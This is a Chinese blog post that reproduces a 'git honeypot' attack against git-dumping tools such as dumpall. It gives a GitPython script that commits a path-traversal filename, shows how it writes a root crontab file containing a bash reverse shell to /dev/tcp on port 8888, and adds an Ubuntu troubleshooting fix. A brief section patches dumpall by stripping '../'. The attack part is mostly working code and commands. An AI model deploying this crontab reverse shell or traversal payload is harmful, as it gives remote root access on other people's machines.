好久不见

0x01 git 蜜罐复现

具体原理请看 https://drivertom.blogspot.com/2021/08/git.html?m=1

1
2
3
4
5
6
7
import git

repo = git.Repo.init(path=".")

repo.index.add(items=['../../git_poc.txt'])

repo.index.commit('commit')

python3 -m pip install GitPython

python3 运行, 生成Poc

在当前目录的../../的目录下必须有git_poc.txt

比如当前脚本目录为 /Users/yhy/Desktop/gitpoc,那么在/Users/yhy要存在git_poc.txt

然后将 .git 文件夹整体拖入网站根目录下

效果:防止干扰我直接在虚拟机中运行 dumpall 工具

image-20210809154939407

没有在 dumpall/192.168.100.250_8080 目录下生成文件,而是进行了目录穿越,在原计划(dumpall/192.168.100.250_8080)两层外的目录下生成了git_poc

1.1 计划任务反弹shell

先在/var/spool/cron/crontabs/ 下新建名为 root 的反弹shell代码文件。

* * * * * /bin/bash -i >& /dev/tcp/192.168.100.250/8888 0>&1

然后将repo.index.add(items=['../../git_poc.txt']) 中的../../git_poc.txt 替换, 使用多个**../**,确保返回到根目录

1
repo.index.add(items=['../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/root'])

/var/spool/cron/root (centos系列主机)

/var/spool/cron/crontabs/root (debian系列主机)

image-20210809173416573

image-20210809173349713

0x02 修复

这就是个目录穿越漏洞,这里简单粗暴的将 ../ 全部删除,以dumpall为例

1
2
# dumpall/dumper.py
filename = str(filename).replace("../", "").replace("..\\", "").replace("..;/", "").replace("..;\\", "")

image-20210809174123558

0x03在ubuntu中反弹shell问题

有师傅反应说上一篇git 蜜罐复现文章中在ubuntu和kali写入了计划任务,还是不能反弹shell。

关于这一点我在做实验时,一开始也是没有反弹shell,我手动编辑了几遍root文件,具体弹shell的代码并没有改变,然后就莫名其妙的弹回来了,忙着发文,也就没有再次实验,我的错。

今天又试了好多次,还是弹不回来,终于找到了原因,这东西就是ubuntu系统的原因,root文件的权限必须为600,还有就是弹的代码也有点问题,这是原文链接:

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/

shell不能反弹,可以写ssh公钥等,最后他给的弹shell代码好像还有点问题,在代码前后空一格,写入换行符

1
2
3

*/1 * * * * bash -c "bash -i >&/dev/tcp/xx.xx.xx.xx/8888 0>&1"

0x04 参考

https://drivertom.blogspot.com/2021/08/git.html?m=1

https://github.com/0xHJK/dumpall

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/